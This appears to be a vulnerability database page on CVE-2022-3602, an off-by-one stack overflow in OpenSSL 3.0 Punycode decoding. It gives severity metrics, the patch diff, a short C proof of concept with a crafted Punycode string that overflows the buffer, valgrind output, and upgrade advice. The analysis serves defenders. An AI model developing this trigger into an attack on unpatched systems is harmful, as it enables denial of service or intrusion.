Attacker Value
Unknown
(0 users assessed)
Exploitability
Unknown
(0 users assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
1

CVE-2022-3602

Disclosure Date: November 01, 2022
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Note that this occurs after certificate chain signature verification and requires either a CA to have signed the malicious certificate or for the application to continue certificate verification despite failure to construct a path to a trusted issuer. An attacker can craft a malicious email address to overflow four attacker-controlled bytes on the stack. This buffer overflow could result in a crash (causing a denial of service) or potentially remote code execution. Many platforms implement stack overflow protections which would mitigate against the risk of remote code execution. The risk may be further mitigated based on stack layout for any given platform/compiler. Pre-announcements of CVE-2022-3602 described this issue as CRITICAL. Further analysis based on some of the mitigating factors described above have led this to be downgraded to HIGH. Users are still encouraged to upgrade to a new version as soon as possible. In a TLS client, this can be triggered by connecting to a malicious server. In a TLS server, this can be triggered if the server requests client authentication and a malicious client connects. Fixed in OpenSSL 3.0.7 (Affected 3.0.0,3.0.1,3.0.2,3.0.3,3.0.4,3.0.5,3.0.6).

Add Assessment

No one has assessed this topic. Be the first to add your voice to the community.

CVSS V3 Severity and Metrics
Base Score:
7.5 High
Impact Score:
3.6
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
None
Integrity (I):
None
Availability (A):
High

General Information

Vendors

  • fedoraproject,
  • netapp,
  • nodejs,
  • openssl

Products

  • clustered data ontap -,
  • fedora 26,
  • fedora 27,
  • fedora 36,
  • fedora 37,
  • node.js,
  • node.js 18.12.0,
  • node.js 19.0.0,
  • openssl

References

Advisory
Exploit
The following exploit POCs have not been verified by Rapid7 researchers, but are sourced from: nomi-sec/PoC-in-GitHub.
Additional sources will be added here as they become relevant.
Notes: We will only add the top 3 POCs for a given CVE. POCs added here must have at least 2 GitHub stars.

Additional Info

Technical Analysis

Description

On November 1, 2022, the OpenSSL project released version 3.0.7 to address a pair of vulnerabilities – CVE-2022-3602 and CVE-2022-3786 – that they labeled as “critical” in their announcements, then downgraded to “high” when they were released. In their blog post, the OpenSSL developers explain that they downgraded the risk because exploitation seems unlikely:

During the week of prenotification, several organisations performed testing and gave us feedback on the issue, looking at the technical details of the overflow and stack layout on common architectures and platforms. […] the stack layout was such that the 4 bytes overwrote an adjacent buffer that was yet to be used and therefore there was no crash or ability to cause remote code execution.

Even though the OpenSSL team knew that the vulnerability was going to be downgraded before they released the patch, and that most potentially vulnerable targets were not going to be affected, they did nothing in the hours leading up to the release to defuse the collective panic. We’d like to see future projects be more open with impact changes, particularly when upcoming releases are going to be less impactful than originally announced.

CVE-2022-3602 refers to a 4-byte (32-bit) buffer overflow that is caused by an off-by-one error when parsing Punycode utilizing OpenSSL’s Punycode library. The Punycode functions are part of the libcrypto.so shared library (also libcrypto.a) and are only accessible through certificate-validation functions after certificate validation. In a trusted certificate, this can potentially affect any client application running a vulnerable version of OpenSSL, or any server application that is configured to validate client certificates. Even on affected hosts, the likelihood of meaningful exploitation is low for reasons detailed below.

Affected products are:

  • OpenSSL 3.0.0 – 3.0.6 (fixed in OpenSSL 3.0.7; other OpenSSL versions are not affected)

Technical analysis

CVE-2022-3602 is an off-by-one error in OpenSSL’s Punycode-parsing function (ossl_punycode_decode) in punycode.c, where the “max length” argument (unsigned int *pout_length) is not used correctly. That means that any Punycode string that decodes to exactly one more 32-bit character than the maximum length will overwrite the memory immediately following the decoded string. We wrote a simple proof of concept that calls the Punycode function directly; in practice, these functions are only used in certificate-validation code.

The diff in this patch is quite simple; literally one character is added:

$ git diff 4bae06d47ae26b37a948d31f11884e1813f6d669 fe3b639dc19b325846f4f6801f2f4604f56e3de3
diff --git a/crypto/punycode.c b/crypto/punycode.c
index 385b4b1df4..5e211af6d9 100644
--- a/crypto/punycode.c
+++ b/crypto/punycode.c
@@ -181,7 +181,7 @@ int ossl_punycode_decode(const char *pEncoded, const size_t enc_len,
         n = n + i / (written_out + 1);
         i %= (written_out + 1);
 
-        if (written_out > max_out)
+        if (written_out >= max_out)
             return 0;
 
         memmove(pDecoded + i + 1, pDecoded + i,$ git diff 4bae06d47ae26b37a948d31f11884e1813f6d669 fe3b639dc19b325846f4f6801f2f4604f56e3de3

The exploit is equally simple: Create a Punycode string that decodes to exactly one (32-bit) character too long, and it’ll write that character past the end of the buffer:

// Edit to change the test string
#define TEST_STRING 

// Edit to change the output buffer's length
#define DECODED_LENGTH 20

int ossl_punycode_decode(const char *pEncoded, const size_t enc_len, unsigned int *pDecoded, unsigned int *pout_length);

int main(int argc, char *argv[])
{
  setlocale(LC_CTYPE, "");

  uint32_t *decoded = (uint32_t*) malloc(20 * 4);
  unsigned int decoded_len = 20;

  ossl_punycode_decode("hello! -gr25faaaaaaaaaaaaa", strlen("hello! -gr25faaaaaaaaaaaaa"), decoded, &decoded_len);

  return 0;
}

The string "hello! -gr25faaaaaaaaaaaaa" decodes to 21 32-bit characters, but the maximum length (as passed) is 20 characters; therefore, the final character is written past the end of the buffer. Even in our toy example this doesn’t cause anything visible to happen, but valgrind can detect the overflow:

$ valgrind ./cve-2022-3602-4byteoverwrite-vuln 
[...]
==92826== Invalid write of size 4
==92826==    at 0x40156B: ossl_punycode_decode (in /home/ron/shared/analysis/openssl/cve-2022-3602-4byteoverwrite-vuln)
==92826==    by 0x401235: main (cve-2022-3602-4byteoverwrite.c:23)
==92826==  Address 0x4a73500 is 0 bytes after a block of size 80 alloc'd
==92826==    at 0x484486F: malloc (vg_replace_malloc.c:381)
==92826==    by 0x40120D: main (cve-2022-3602-4byteoverwrite.c:20)

encoded: [26] hello! -gr25faaaaaaaaaaaaa
==92826== Invalid read of size 4
==92826==    at 0x4012A4: main (cve-2022-3602-4byteoverwrite.c:34)
==92826==  Address 0x4a73500 is 0 bytes after a block of size 80 alloc'd
==92826==    at 0x484486F: malloc (vg_replace_malloc.c:381)
==92826==    by 0x40120D: main (cve-2022-3602-4byteoverwrite.c:20)
==92826== 
decoded: [21] hello! 😉😉😉😉😉😉😉😉😉😉😉😉😉😉
[...]

Two things worth noting here:

  • This could have been trivially discovered with any amount of fuzzing or testing (as demonstrated by a Twitter user); the fact that a project like OpenSSL did not fuzz new and custom parsing code written in C is very concerning.
  • The max length parameter (pout_length) is the number in 32-bit characters that the output has space for (20 in our example), not the actual amount of memory required (80 bytes in our example), but that’s not mentioned at all in the function’s documentation; even if it WAS documented, this sort of API design is ripe for accidental misuse, because it’s very easy to set the max length argument to 4x longer than it should be, leading to buffer overflows much worse than 4 bytes!

Guidance

Organizations that are running an affected version of OpenSSL should update to 3.0.7 when practical, prioritizing operating system-level updates and public-facing shared services with direct dependencies on OpenSSL. Emergency patching is not indicated.

References